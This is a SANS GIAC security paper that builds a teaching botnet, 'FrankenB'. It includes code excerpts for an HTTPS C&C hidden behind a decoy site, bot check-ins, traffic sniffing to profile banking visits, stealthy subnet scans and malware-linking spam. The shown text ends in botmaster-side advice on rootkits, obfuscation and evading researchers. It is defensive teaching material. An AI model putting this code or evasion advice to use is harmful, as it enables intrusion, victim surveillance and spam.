BYOB: Build Your Own Botnet
and learn how to mitigate the threat posed by botnets

GIAC (GSEC) Gold Certification

Author: François Bégin, francois.begin@telus.com
Advisor: Aman Hardikar

Accepted: 27\textsuperscript{th} July 2011

Abstract
Botnets represent a clear and present danger to information systems. They have evolved from simple spam factories to underpinning massive criminal operations. Botnets are involved in credit card and identity theft, various forms of espionage, denial of service attacks and other unsavory by-products of the new digital lifestyle that is prevalent in modern societies and emerging economies. Security professionals at any level cannot ignore this new threat. Having a better understanding of the inner workings of a botnet can lead to more efficient and judicious application of mitigation techniques. While other papers have a tendency to drive deeply into complex bot and botnet code, this paper takes a pedagogical approach rather than a highly technical one. Following a brief historical overview, it presents a simple working example of a botnet dubbed FrankenB implemented in Java and PHP. The implementation includes a command and control infrastructure as well as botnet tracking and reporting capability. The FrankenB bots are also capable of eavesdropping on network traffic, scanning subnets and sending spam. All of these capabilities are demonstrated in this paper. Following this introduction, FrankenB is then used as a backdrop for discussing mitigation techniques and for framing the botnet threat in a more global context.
1. Introduction

A recent report on botnet threats (Dhamballa, 2010) provides a sobering read for any security professional. According to its authors, the number of computers that fell victim to botnets grew at the rate of 8%/week in 2010, which translates to more than a six-fold increase over the course of the year. This is an alarming statistic by itself but it is made even more distressing when put in context: not only are there more computers falling victim to these botnets, but the largest ones tend to be larger than before. Furthermore, the fact that the top 10 botnets on the report account for about 47% of all victim computers shows that an unprecedented amount of illegally acquired computing power can now be found in the hands of specific groups of hackers. It is no wonder then, that when Microsoft spearheaded a takedown of the Rustock botnet recently, this resulted in a drop of 30% of all spam sent globally each day (Symantec Message Labs, 2011).

Although the share held by the top 10 botnets is markedly down from the numbers posted in 2009, this only goes to show that more and more groups are joining the fray in abusing computers and herding them into their nets. Furthermore, the fact that 6 of the top 10 botnets on the 2010 list did not even exist in 2009 is cause for further concern, showing that, like the hydra of lore, cutting off one head may only lead to a few more growing back.

Botnets are a threat and they pose a clear and present danger to any IT infrastructure. This paper will start off by defining bots and botnets. It will then highlight their characteristics and provide some historical context, followed by the design and implementation of a simple botnet dubbed FrankenB. The focus will primarily be on communication between bots and the C&C although the paper will also implement a few key functions that could lead to either end-user data being endangered or to abuse the compromised host. The paper will conclude by discussing mitigation controls for botnets. As will be seen though, proper mitigation needs to be viewed in a global context: bots cannot be fought in isolation, and this global context involving industry players such as software vendors, ISP, etc. will also be discussed.

Francois Begin, francois.begin@telus.com
2. Overview of Botnets

Before botnets can be discussed, a bot must be defined. In its simplest form, a bot is a piece of computer code that performs a task automatically. A bot is inherently neutral. It can play poker on your behalf (Dance, 2011), search for the large prime numbers (GIMPS, 2011), or look for extraterrestrial intelligence (SETI, 2011).

Bots have their origin in Internet Relay Chat (IRC) networks (Holz, 2005), which implemented text based conferencing between hosts in real-time. IRC was defined by Oikarinen & Reed in 1993 in RFC 1459. While bots are not part of this RFC (Request For Comments), they quickly came into favor by performing benevolent tasks such as simplifying the administration of an IRC channel and playing online games (Berinato, 2006). Early bots were also used as a means to protect IRC channels against primitive forms of Denial of Service attacks. According to its authors, for instance, the popular IRC bot Eggdrop was created to help stop incessant wars on a very specific IRC channel (Eggheads Development Team, 2002). IRC channels also saw primitive Denial of Services (DoS) and Distributed Denial of Services (DDoS) attacks that often were the result of malicious bots (Cole, Mellor & Noyes, 2008).

According to Provos & Holz (2007), a botnet is defined as a “[...] network of compromised machines that can be remotely controlled by the attacker”. The ‘compromised machines’ from this definition would of course be running some form of client software and qualify as ‘bots’. In a nutshell, a botnet is a collection of bots used with malicious intent. The last term that needs to be defined before moving on is botmaster, which is used to represent the person (or group) that controls the botnet.

There are four key points associated with the definition of a botnet which are worth analyzing further, since they highlight key characteristics of botnets that will be discussed throughout this paper.

The first key point of the definition is that a botnet is a network: systems are able to communicate together, with low-level bots reporting the results of the scans they perform to command centers, as well as receiving orders and updates. It is no wonder
then that researchers feel the need to address “not merely the numerous binaries but the network of attackers itself” (Dagon et al., 2005) when analyzing botnets.

The second key point is that machines that have joined a botnet are typically unwilling participants since they have been compromised. Compromises can take place in various ways such as vulnerability scans followed by a concerted attack, automated code exploits, web-based malware (phishing, drive-by download), or even botnet takeovers (Cole, Mellor, & Noyes, 2008).

The third key point, already alluded to when the networked nature of a botnet was mentioned, is the fact that bots can be remotely controlled. Bots report and receive orders from a command and control structure (known as the C&C), allowing the person in charge to leverage the computing power of some or all of the bots in the botnet as required. This control structure can be centralized or decentralized. There are typically four types of control structures for botnets (Ianelli & Hackworth, 2005): IRC channels, which bots can join to send reports or await instructions; web-based, where bots are programmed to connect to web servers; Peer-to-peer (P2P), where a more decentralized architecture is used to control the bots and where multiple bots can easily share a control role; and finally covert communication channels (e.g. DNS). The first generations of botnets made use of IRC, since joining a channel allowed bots to receive instructions in real-time. Although these have fallen out of favor, IRC-based botnets still exist today. For instance, the Hamweq botnet relied on IRC and was considered an effective bot using legacy communication characteristics (Dhamballa, 2010).

The final key point in the definition given is that bots are controlled by a malicious person intent on some form of illegal activity. These activities include, amongst many others DDoS attacks, spamming, sniffing network traffic, keylogging, spreading malware, etc. (Bächer, Holz, Kötter, Wicherski, 2008). It is quite telling to note that these illegal activities can very well go beyond the simple pursuit of economic gains. In 2007 for instance, a massive, politically-motivated DDoS attack against Estonia crippled some key web sites and services of that country (Grant, 2007).
3. Scope of FrankenB

There is much more that can be written about the history of characteristics of bots of botnets but that is not the main purpose of this paper. The goal is to design and implement a simple botnet dubbed the FrankenB. At this point though, one could rightly ask why bother with creating a new botnet when a professional creation toolkit can be purchased for as little as 700 USD on the underground market (Falliere & Chien, 2009). No pretence is made in this paper that the design and implementation of FrankenB will be cutting edge. But creating a botnet has the advantage of controlling the scope of what is meant to be a purely pedagogical exercise. By creating a simple botnet from scratch, some of the techniques that are used in real botnets can be highlighted, which in turn will help better understand and mitigate the threats they pose.

This paper therefore presents a single web-based C&C server with encryption and capable of

• tracking bots
• receiving reports from bots
• providing instructions to bots (sleep, spam, scan)

In parallel, this paper presents a bot program in java capable of

• being deployed on Linux hosts
• reporting to its C&C
• sniffing traffic that might be of interest to a malicious hacker
• sending spam messages as instructed by the C&C

Although propagation techniques will be touched on, as well as how bots hide themselves on compromised hosts, these two elements are not part of the main scope of this paper.

Francois Begin, francois.begin@telus.com
4. Command and Control Server Implementation

To build the FrankenB botnet C&C server, a domain called *franky.ca* was first secured. A Linux host running Ubuntu 10.10 (server edition) was built and a LAMP (Linux, Apache, MySQL and PHP) environment deployed on it. The host is connected to a dedicated ADSL link with a static IP address. A simple web site called *factoryno1.franky.ca* was also deployed on that host.

The web site is just a façade (Figure 1) to hide the botnet C&C, which will consist of a MySQL database, as well as one directory called *botcandc* located at the root of the web server. That directory contains two main files. *connect.php* is the main script to which bots will connect to in order to report to the C&C and receive further orders. *admin.php* is the script used by the botmaster to administer FrankenB. The full source code for these two scripts is available to the reader in Appendices M & N. Figure 2 shows this simple design:

Francois Begin, francois.begin@telus.com
Although the arrows in Figure 2 are bi-directional, the communication mechanism is only initiated by the bots. The bots connect to the C&C server via HTTP by sending data inside a POST, the HTML method commonly used to submit data to be processed by a web server. POSTs are used, for example, when a user fills out a form on a website and hits the submit button. The response string from the C&C will complete the communication by containing simple commands for the bot to execute.

Using HTTP as a communication mechanism between bots and C&C has the advantage that it makes it difficult to detect: HTTP traffic is so common that a few POST requests can easily be lost amidst legitimate traffic. It is no wonder then that real botnets such as Torpig (Stone-Gross, et al., 2009) and Rustock (Chiang & Lloyd, 2007) made use of that protocol. Of course, simple web traffic is typically unencrypted, which in turn means that communication between bots and botnet can easily be captured.

Figure 3 shows part of a packet capture of one such POST, revealing details such as the file the bot is querying (botcandc/connect.php), the shared key (botpwd) as well as the actual data the bot is sending to its C&C.
To prevent people from eavesdropping on botnet communication, encryption is often used. For instance, RC4 was implemented by the creators of Rustock to protect the data exchanged within a POST (Chiang & Lloyd, 2007). Rather than go with a cumbersome implementation of encryption inside the bot code, FrankenB leverages SSL encryption as it is commonly used for e-commerce sites across the Internet. A self-signed SSL certificate can be used by instructing the FrankenB bots to trust it (the code required to achieve this is shown in section 7). With SSL encryption turned on, not only the data transmitted but also the path of the C&C file (botcandc/connect.php) can be protected as shown in Figure 4:
Of course, nothing prevents someone from noticing this encrypted traffic between the bot and the C&C, and nothing prevents that person from attempting to connect to the C&C server using HTTPS, provided that the person accepts the self-signed certificate as trusted. These are the reasons why the C&C was run behind the façade of a ‘legitimate’ website. Stealthier data exchange can be achieved by more paranoid botmasters, such as by communicating using DNS requests (Butler, Xu & Yao, 2009). To keep FrankenB simple and easily manageable, operating the C&C covertly through a public website and HTTPS will suffice.

There is still work to be done on the C&C server to ensure this though. The content of the traffic is hidden, but the fact that some kind of communication is taking place with the server cannot be hidden. Steps need to be taken to ensure that someone turning his attention to the façade will not stumble upon the botcandc directory. If someone could browse the content of that directory, FrankenB could very well find itself taken out of commission by law enforcement or even by a rival group (Higgins, 2007). For example, with Indexes turned on in the Apache web server, Figure 5 shows that FrankenB would be leaking quite a bit of information:

Francois Begin, francois.begin@telus.com
Even turning off indexes might not be sufficient: in Figure 6, someone attempted to browse the content of botcandc and received a 403 Forbidden error while in Figure 7, someone attempted to browse a non-existent subdirectory named botcc and received a 404 Not Found error. Based on these innocuous-looking error messages, someone would be able to conclude that /botcandc does indeed exist on that host. This is a perfect example of website fingerprinting, a technique that looks for subtle discrepancies in a website to glean information. Fingerprinting was used by a team of researchers to infiltrate the MegaD botnet (Cho, Caballero, Grier, Paxson & Song, 2010).

If FrankenB can be fingerprinted, someone might even be able to use Google hacking techniques (Long, 2004) to enumerate the C&C infrastructure using a specially crafted Google search. Luckily the Apache web server is highly configurable. By editing the Apache configuration file, directory indexes can be turned off and the Override setting can be turned on. A .htaccess file with a single directive can also be added in the root directory of the web server:

Francois Begin, francois.begin@telus.com
ErrorDocument 403 /404.html

This allows the web server to re-direct 403 errors to a specially crafted web page (/404.html) which will be used throughout the site as the default Page Not Found error page. These simple changes ensure that someone snooping for the bot directory would be led to believe it does not exist, as shown by Figure 8:

Figure 8 C&C scripts hiding behind the bogus 404 error page

5. Allowing bots to find the C&C

Now that the C&C has been built and hidden, another issue needs to be addressed. How will the bots find and remain in contact with the C&C? To solve this issue, the following URL was hardcoded in the bot code:

```
ccInitialURL = "https://factoryno1.franky.ca/botcandc/";
```

A FQDN was used rather than an IP address in order to leverage Dynamic DNS. This would allow the botmaster to quickly change the IP address of a compromised C&C. Although FrankenB uses only a single initial URL for its C&C, more sophisticated botnets would use more complex rendezvous algorithms. For instance, the Torpig botnet uses domain flux, where a domain generation algorithm is used to determine which C&C to query in a given timeframe (Stone-Gross, et al., 2009). Using this technique, the Torpig bots might look for a C&C at cc.evildomain.org one week and then at cc.evildomain.net the following week.

It should also be noted that botmasters are also likely to choose ISPs (to host their website), registrars (to register the domain names), and DNS/DynDNS providers (to resolve the name of the host running the C&C) that have a history of not being very responsive to law enforcement requests. These tend to be located in countries where there

Francois Begin, francois.begin@telus.com
are few laws for proper Internet usage. As David Thomas, one of the FBI authorities on criminal computer intrusion succinctly put it: “The impediment to fighting botnets is international law” (Berinato, 2006).

Of course, having a single C&C and hard coding its FQDN in its bots makes it vulnerable to capture and reverse-engineering, which is one technique that researchers use to uncover and analyze botnets. Section 11 will discuss what can be done to make researchers’ lives harder. For now, the limitation of this single point of failure is simply accepted while being cognizant that techniques exist to have a more robust C&C structure.

![Figure 6 FrankenB bot mode and transitions](image-url)
6. FrankenB bot design

Figure 9 shows the various transitions that FrankenB bots will go through in their life-cycle. Such a clear and precise design is necessary. The data bots will be sending to the C&C must be matched with appropriate responses. In order to implement and support these various modes and their underlying functions, bots are built using 11 java classes:

<table>
<thead>
<tr>
<th>Appx</th>
<th>Class Name</th>
<th>Overview</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>Bot</td>
<td>Holds the characteristics of each bot: current status, unique ID, sleep cycle, network parameters, etc.</td>
</tr>
<tr>
<td>B</td>
<td>BotMain</td>
<td>Drives the bot’s actions</td>
</tr>
<tr>
<td>C</td>
<td>CC-Connector</td>
<td>Brokers connections to the C&amp;C through POSTs</td>
</tr>
<tr>
<td>D</td>
<td>CC_DataExchanger</td>
<td>Encodes the data to be sent to the C&amp;C and gets a reply back</td>
</tr>
<tr>
<td>E</td>
<td>HostDetails</td>
<td>Holds detailed information about the host on which the bot is running (OS info, uptime, etc.)</td>
</tr>
<tr>
<td>F</td>
<td>HostNetParams</td>
<td>Holds the network parameters of the host.</td>
</tr>
<tr>
<td>G</td>
<td>Mailer</td>
<td>Contains methods to help determine whether or not a bot can send outbound mail, as well as methods to send an actual email.</td>
</tr>
<tr>
<td>H</td>
<td>NICListener</td>
<td>Creates a thread that allows the bot to listen promiscuously for TCP connections</td>
</tr>
<tr>
<td>I</td>
<td>SpamModule.java</td>
<td>Contains methods required to send spam</td>
</tr>
<tr>
<td>J</td>
<td>SpamXMLparser.java</td>
<td>Parses XML files and extracts data related to spam we want to send out</td>
</tr>
</tbody>
</table>

Francois Begin, francois.begin@telus.com
K Tools.java Holds some ‘helper’ methods called from other functions e.g. sleep, run Unix command, etc.

The full source code for these classes is provided in Appendix A-K but for the remainder of this paper, only sections of code that hold a specific interest to the discussion will be highlighted.

7. Bot reporting

Once a bot has identified its C&C, the next step is to ensure that reports and orders are transmitted securely and discretely. As discussed previously, this is achieved through encrypted POST. The FrankenB bots are told to trust the SSL certificate of the C&C server implicitly through the `setupTrust()` method of `CC_Connector.java`:

```java
public void setupTrust() {
    Properties systemProps = System.getProperties();
    systemProps.put("javax.net.ssl.trustStore", "/jssecacerts");
    System.setProperties(systemProps);
}
```

A file called `jssecacerts` is used as a 'trust store'. It contains the public part of the SSL certificate used by the C&C web server. A utility called `InstallCert` was used to create that file (Sterbenz, 2006). To ensure that only FrankenB bots can talk to the botnet, a simple authentication scheme based on a shared secret password was also implemented. This shared secret is known to the C&C and the bots and therefore appears as a parameter of the `Bot` class. It is set when a bot object is constructed:

```java
ccInitialPwd = "K9!@J3llYB@by!Th3M@st3r";
```

When a FrankenB bot starts up, it tries to connect to a C&C at regular intervals (this is regulated by the `sleepCycle` parameter of the `Bot` class) but that interval is adjusted by adding or subtracting a random value (`sleepCycleRandomness` parameter in the `Bot` class). Randomness is introduced to avoid a specific pattern that would give away the bots and botnets.

```java
Tools.sleep(myBot.sleepCycle, myBot.sleepCycleRandomness, debug);
```

Francois Begin, francois.begin@telus.com
The POSTs themselves are constructed by building an array. When a bot needs to POST something, it creates a multidimensional array that contains the names of the parameters as well as their values. For instance, the following method from class CC_DataExchanger sends the authentication password to the C&C as well as the current status of the bot:

```java
public String makeInitialConnection(Bot myBot, Boolean debug) {
    String[][] myPostArray = new String[2][2];
    myPostArray[0][0] = "botpwd";
    myPostArray[0][1] = myBot.ccInitialPwd;
    myPostArray[1][0] = "status";
    myPostArray[1][1] = myBot.status;
    CC_Connector my_cc_Connector = new CC_Connector(myPostArray,
                                                      myBot.ccInitialURL,
                                                      debug);
    return my_cc_Connector.ccReply;
}
```

Class CC_Connector processes this information by iterating through these arrays, encoding the parameter name and value pairs:

```java
for (int i=0; i < myPostArray.length; i++) {
    try {
        postData +=
        URLDecoder.encode(myPostArray[i][0], "UTF-8") + "=" +
        URLDecoder.encode(myPostArray[i][1], "UTF-8") +"&";
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
}
```

POST data is captured as would be expected by connect.php on the C&C:

```php
$botpwd = filter_var($_POST['botpwd'],FILTER_SANITIZE_MAGIC_QUOTES);
$status = filter_var($_POST['status'],FILTER_SANITIZE_MAGIC_QUOTES);
```

connect.php then relies on a suitable group of if statements to interpret the data sent by the bots and figure out what to reply. In most cases, what is returned is a simple one-word command e.g. sleep, scan, spam but the bot can request specific details such as spamming parameters. Spamming will be covered in more details in section 10.

In all exchanges between the bot and the C&C, the botpwd submitted is verified and if found to be incorrect, the bot is 'misdirected' to the catch-all 404 Page Not Found.

Francois Begin, francois.begin@telus.com
8. Tracking bots

Although researchers have done a lot of work evaluating botnet sizes, there is still little agreement on how to get a fair assessment of botnets’ footprints (Rajab, Zarfoss, Monronse & Terzis, 2007) (Kanich, Levchenko, Enright, Volker & Savage, 2008). From a botmaster perspective though, there is no denying that being able to positively and uniquely identify bots is important. A botmaster could use the botnet to conduct a DDoS attack for instance. In that case, the botmaster would need to know how many bots that can be counted on in a specific timeframe, factoring in the tendency of bots to be diurnal within their own time zones (Dagon, Zou & Wenke, 2006).

Another compelling reason for accurately tracking bots has to do with monetizing the botnet operation. If a botmaster decides to farm out groups of bots to an external customer (an individual or group wanting to conduct a quick spam campaign but lacking a botnet of their own for instance), a tally of the processing power that can be offered need to be known for pricing accordingly. Botnet rental is surprisingly common and inexpensive, with the cheapest hourly rentals on par with the cost of a visit to the local pub (Broersma, 2010).

To achieve adequate tracking in FrankenB, each bot that has moved from init mode to start mode generates a unique botID. To ensure the uniqueness of this ID, it is tied to the hardware on which the host is running.

```java
public void generateBotID() {
    HostDetails myHost = new HostDetails();
    String hwData="";
    if (myHost.osName.toUpperCase().equals("LINUX")) {
        hwData = Tools.runCmd("lshw | grep -e serial -e product |
                              grep -v Controller | grep -v None");
    }
}
```

Francois Begin, francois.begin@telus.com
In Linux, the `lshw` command is used to return details of the system hardware, including serial numbers. FrankenB looks specifically for serial numbers and product names, then computes a md5 checksum of the output to obtain a 32-character string which is used as the bot’s unique ID. Although there can be collisions with MD5 checksums, these would be negligible and it can therefore be assumed that this process ensures the uniqueness of the resulting values.

Having generated a `botID`, bots identify themselves with this ID each time they contact the C&C. Data sent by the bots is saved in the `bots` table of MySQL, where `botID` is used as the primary key. Over time, the bots table gathers things such as operating system name, architecture and version, host uptime, IP addresses, etc., for each of its bots. The botmaster can connect to the C&C through a script called `admin.php` to retrieve this information and issue orders, as shown in Figure 10:

### Frankenbot Command Center

**Current C&C DB parameter values**

*currentDirective*: sleep | *initialResponse*: start | *botInitialPwd*: K7h@J3yB@byTh3M@s3r

**Current list of bots**

<table>
<thead>
<tr>
<th>botID</th>
<th>Status</th>
<th>Hostname</th>
<th>OS Information</th>
<th>hostUptime</th>
<th>hotips</th>
<th>sourceIP</th>
<th>tcpConn</th>
<th>netScan</th>
<th>SMTP mode</th>
<th>Created</th>
<th>LastUpdated</th>
</tr>
</thead>
<tbody>
<tr>
<td>d41d8cd988eb204e9b0096ecf5827e2e</td>
<td>command</td>
<td>Ubuntu-desktop</td>
<td>Linux 2.6.35-28-generic amd64</td>
<td>1:00:52 up 17 users, 1</td>
<td>192.168.1.101</td>
<td>137.186.125.71</td>
<td>proxy/nn</td>
<td>show</td>
<td>show</td>
<td>2011-05-05 14:45:47</td>
<td>2011-05-05 16:06:53</td>
</tr>
</tbody>
</table>

Set a general directive for your bots: 
*sleep*  
Set the initial response to give your bots: 
*start*  
Submit your changes to the C&C database: 
*Submit*

**Figure 10** Admin interface for botmaster

### 9. Passive sniffing and active scanning

With bots now reporting in to the FrankenB C&C, the true purpose of a botnet can start to reveal itself: compromising data and exploiting hosts. Referring back to the bot lifecycle in Figure 9, one can see that, having reached ‘command’ mode, bots start to passively listen for tcp connections on the primary interface of the host. In FrankenB’s implementation, this was purposely limited to capturing triplets containing the source

Francois Begin, francois.begin@telus.com
IP, the destination IP and the port. To further limit this function, the triplets were only captured if the connection ports were 80 or 443, i.e. the key ports to track the browsing habits of the person using the compromised host. The class built for that purpose is called NICListener. It is an extension of the Thread class, which means it can be started and run without blocking other functions of the bot. The only external piece that was needed to implement NICListener was Jpcap (Fujii, 2007), a library to capture network packets. With Jpcap, the section of NICListener that does all the heavy lifting is as follows:

```java
try {
    NetworkInterface[] devices = JpcapCaptor.getDeviceList();
    JpcapCaptor captor;
    captor = JpcapCaptor.openDevice(devices[2], 65535, false, 20);
    captor.setFilter("tcp and (dst port 80 or dst port 443)", true);
    while(true){
        Packet myCapturedPacket = captor.getPacket();
        if (myCapturedPacket != null) {
            final TCPPacket tcpPacket = (TCPPacket)myCapturedPacket;
            connectionTriplets.add("(
                    tcpPacket.src_ip.toString().replace("/","\") + "," +
                    tcpPacket.dst_ip.toString().replace("/","\") + "," +
                    tcpPacket.dst_port + ")"));
        }
    }
}
```

Triplets accumulate in an ArrayList of tcp triplets and are sent to the C&C as part of the regular reports the bot makes. A botmaster can access each bot’s passive listening report from admin.php, as shown in Figure 11. This particular report shows that the system on which the bot is running has accessed banking (citibankonline), investing (bmoinvestorline) and an e-commerce (amazon.com) site. Capturing actual credentials or mounting a targeted attack against this user is just one step away. Not a bad start for a very narrow and passive scan!

Francois Begin, francois.begin@telus.com
As documented in the overall design, FrankenB bots can also be instructed by the C&C to conduct a scan of the internal subnet where they reside. To achieve this, FrankenB leverages *nmap* (Fyodor, 2011), the best open-source tool for the job. When a scan is requested by the C&C, the botnet pauses the passive sniffing thread, runs a stealthy *nmap* scan, POSTs the results to the C&C and re-starts the sniffing thread, as shown in the code below:

```java
    case scan:
        if (debug) System.out.println("C&C told me to scan");
        myBot.status = "scan";
        // We pause our tcp listening thread
        if (debug) System.out.println("Pausing the listening thread");
        // Pause the thread
        synchronized (listenerThread) {
            listenerThread.pleaseWait = true;
        }
        String nmapCommand = "nmap -sS -T sneaky -O " +
            myBot.hostNetParams.primaryInterfaceNetwork.toString().replace("/", "") +
            HostNetParams.toCIDR(myBot.hostNetParams.primaryInterfaceSubnetMask);
        if (debug) System.out.println(
            " Using the following: " + nmapCommand);
        String nmapData = Tools.runCmd(nmapCommand);
```

![HTTP and HTTPS connection details for bot](image)

Figure 11 TCP connections on port 443 and 80
replyFromCC = CC_DataExchanger.sendSubnetScanReport(myBot, nmapData, debug);

// Re-start the thread
synchronized (listenerThread) {
  listenerThread.pleaseWait = false;
}
myBot.status = "command";
break;

Once POSTed, the results are available to the botmaster from admin.php as shown in Figure 12. Such a detailed scan would give a malicious botmaster more potential targets as well as a clear map of what is available on the internal network where that particular bot lives.

![Last subnet scan performed by bot with bc](image)

**Figure 12 Result of scan command**

Francois Begin, francois.begin@telus.com

© 2011 The SANS Institute

As part of the Information Security Reading Room Author retains full rights.
10. Spam, spam, spam

The final function implemented in FrankenB is the ability to direct bots to send spam messages. Once the bot has been instructed to ‘spam’, it POSTs to the C&C requesting spam parameters. The expected reply is in XML format and contains parameters such as: list of victims, subject, body, return address, etc. For added flexibility, the body contains some especially formatted fields (\_firstName\_, \_lastName\_, \_link\_) which can help personalize the email messages. Contextually relevant emails sent to specific targets were used effectively, for instance, in the case of GhostNet (SecDev, 2009). Here is an example of one such XML response from the C&C:

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<spam>
  <emailDetails>
    <subject>Hey, this is really cool. Check it out!</subject>
    <fromAddress>evildoer@evilempire.com</fromAddress>
    <body>Hi \_firstName\_. Long time no talk! How are things with you and the whole \_lastName\_ family? Not much to report here. I found a very funny video you should check out while surfing. Get it \_link\_:http://evil.app.domain/evilapp.exe\^here (you'll need to install the viewer but it is really worth it). Talk to you soon.</body>
  </emailDetails>
  <spamVictims>
    <victimDetails id="1">
      <address>francois@warpmail.net</address>
      <firstName>Francois</firstName>
      <lastName>Begin</lastName>
    </victimDetails>
    <victimDetails id="2">
      <address>francois.begin@company.com</address>
      <firstName>Francois</firstName>
      <lastName>Begin</lastName>
    </victimDetails>
    <victimDetails id="3">
      <address>jdoe@gmail.com</address>
      <firstName>John</firstName>
      <lastName>Doe</lastName>
    </victimDetails>
  </spamVictims>
</spam>
```

This XML data is passed to class SpamModule, which extracts these parameters (with the help of class SpamXMLparser) and uses class Mailer to send the spam out. Of course, not all hosts, even if they are on the internet, are allowed to send mail out on port...
25 so when the Mailer class is constructed, various checks are made to determine the SMTP mode of the bot. There are typically three scenarios to consider: the bot can send mail directly to other SMTP servers (this is called ‘self’ mode in the code); the bot can only send via its ISP’s mail relay server (this is called ‘isp’ mode); or the bot cannot send any outbound mail (this is called ‘filtered’ mode). Here is the code where this determination is made:

```java
public Mailer(Bot myBot) {
    if (Mailer.checkOutboundSMTP("gmail-smtp-in.l.google.com")) {
        mode = "self";
        smtpServer = myBot.hostNetParams.hostFQDN;
    } else {
        myBot.hostNetParams.findDNSdata(myBot.publicIP);
        String hostSMTPServer = myBot.hostNetParams.
        findSMTPserver(myBot.hostNetParams.hostDomainName);
        if (hostSMTPServer != null) {
            if (Mailer.checkOutboundSMTP(hostSMTPServer)) {
                mode = "isp";
                smtpServer = hostSMTPServer;
            } else {
                mode = "filtered";
                hostSMTPServer = null;
            }
        } else {
            mode = "filtered";
            hostSMTPServer = null;
        }
    }
}
```

The preferred mode for botnets that have implemented spamming is ‘self’ mode since these bots can be turned into spam factories. At worse, if a bot is lost to blacklisting, another one is simply brought online. In the scenario where the bot needs to go through the ISP relay server, there is a risk that the spam messages will attract some unwanted attention but in most cases, this simply means that the particular host will be isolated or taken off the network. A botmaster can also throttle the flow of spam coming from a given host to decrease the chances of the host being noticed by the ISP.

Once the C&C has generated an XML spam configuration file, it hands it to the bot as a reply to its POST. A spam message is then constructed and sent by the bot as shown in Figure 13.

Francois Begin, francois.begin@telus.com
One might wonder why a botmaster would bother with something as quaint as spam when its bots can be sniffing traffic to steal credentials and running deep scans of compromised hosts’ subnets. The answer is simple: although low-tech and unglamorous, spam still appears to be the driving force in the economics of botnet (Zhuang, Dunagan, Simon, Wang & Tygar, 2008). Various studies have speculated on the break-even response rate of spammers. A recent empirical study hints at spam response rates well below 0.00001% (Kanich, et al., 2008). While this may indicate that the days of ‘commercial spam’ might be numbered, other uses will be found for spam. A recent trend appears to be highly targeted messages and phishing scams, which can increase the response rate to spam dramatically (Judge, Alperovitch & Yang, 2005) and induce profit through identity theft, compromising online accounts and stealing credit card data. While hard numbers are difficult to come by, spam is proving resilient and, even at low response rates, profitable.

Casting monetary consideration aside, spam is also a highly versatile tool in any botmaster’s arsenal. It is, amongst other things, a wonderful vector of infection to help propagate a botnet army. For example, the spam message that was generated by

Francois Begin, francois.begin@telus.com
FrankenB (from Figure 13) includes a link. By attaching a malicious executable to that link, new ‘recruits’ can be enlisted into the botnet

11. Improvements to FrankenB

Taking a page from existing botnets, there are numerous improvements that could be made to FrankenB. This paper touched on the ability to propagate by sending spam with links to malware but a botmaster could be even more aggressive in seeking new bots. Since FrankenB implemented subnet scanning capability, the results of these scans could be analyzed. By correlating these results to lists of services and known software vulnerabilities, vulnerability patterns can be inferred and specialized attack modules that target these particular vulnerabilities can be pushed to the bots. In that scenario, a botmaster could be instructing its bots to take over more systems, swelling the ranks of FrankenB. This approach would be similar to how computer worms such as Nimda propagated. One advantage of FrankenB over a classic computer worm though is that it forms a network of centrally controlled computers. This allows the botmaster to be more circumspect in the way the victims are chosen. With that said, the lack of built-in propagation capability is definitely not an impediment to a botnet success, as demonstrated by the ZeuS botnet which has thrived for years through spam email campaigns (Macdonald, 2009).

FrankenB is built on a simple design to meet this paper’s goal of giving an overview of botnets, but another improvement could be to implement a more complex, flexible and redundant C&C structure. C&C redundancy is critical to avoid disruption if a C&C goes down or is captured. Having the ability to cycle C&C across multiple hosts would have the added benefit of offering a moving target to law enforcement and researchers. A modern and sophisticated botnet would also likely use a multi-tier design so that various functions can be parceled out to the various tiers. The Waledac botnet for example has a multi-tiered architecture with the added benefit of obfuscating the upper tiers from which the botmaster operates (Nunnery, Sinclair & Kang, 2010). One way of achieving this could be the adoption of peer-to-peer (P2P) techniques for the control structure. Using a P2P protocol allows for botnets to be built with less centralization, which in turn can render botnets more resilient (Wang, Sparks & Zou, 2007).

Francois Begin, francois.begin@telus.com
Another improvement would be the ability to split bots into groups and farm out the collective processing power of these bots to ‘customers’ intent on running DDoS, password cracking, spamming, and other unsavoury activities. In a controversial episode of its tech show *Click*, the BBC did just that by buying the services of a botnet of 22,000 compromised hosts from an underground forum (Leyden, 2009). Although criticized by some for doing so, the program demonstrated how easily this could be done – and how farming out bots is indeed a valid business model for botmasters. There is ample evidence of a thriving underground market where the fruits of botnets’ activities (credit card information, bank credentials, etc) are traded like any other commodities (Franklin, Paxson, Perrig & Savage, 2007).

Since FrankenB is a coding project, it should be treated as such and submitted to code review in order to avoid flaws that could be exploited by law enforcement and researchers. Kanich, et al. (2008) for instance used a flaw in the implementation of the botID code of the Storm botnet to gain insight into its size and also identify its members. The communication between bots and C&C should be re-examined since researchers could use techniques such as passive analysis of network data flow to detect the bots (Karasaridis, Rexroad & Hoeflin, 2007). Even the subnet scanning technique that was implemented in FrankenB, which uses a sophisticated tool (*nmap*), is by no means sophisticated by itself. It could allow its bots to be fingerprinted and detected through statistical analysis (Barford & Yegneswaran, 2006).

On the bot side of things, FrankenB could definitely benefit from some improvements to its covertness. A botnet can have state-of-the-art covert channels between the bots and the C&C, but this does no good if all of its bots are sitting in plain sight on the compromised hosts. An improvement would therefore be to package the bots with a rootkit. Having a kernel rootkit that redirects system calls and hides processes from the prying eyes of a system administrator (Dai Zovi, 2001) would be ideal.

Francois Begin, francois.begin@telus.com
As shown in previous sections, a lot of key information was hard coded in the bot code, which makes it fairly vulnerable if reverse engineered. Since FrankenB is written in java, there is no need for a cutting-edge debugger to get to this data. Running the `strings` command after having extracted the various classes of the jar file would suffice to reveal the C&C URL and authentication password as per Figure 14. Running something like JD-GUI (Dupuy, 2011) against the jar file would reveal the complete code.

To protect the code, the botmaster should therefore look at 2 things: encryption and obfuscation. Malware encryption techniques have evolved from a simple decryptor routine built into the code to more complex types such as oligomorphic, polymorphic and metamorphic schemes (You & Yim, 2010). Coupled with encryption, obfuscation should also be considered as a protection mechanism. By using techniques such as dead code insertion, subroutine reordering and instruction substitution, one can create multiple variations of the same code and achieve ‘binary mutations’. The end goals are fairly straightforward: to protect bots from the prying eyes of researchers and to evade anti-
virus and anti-malware products. Empirical evidence appears to show that this can succeed (Staniford, 2008).

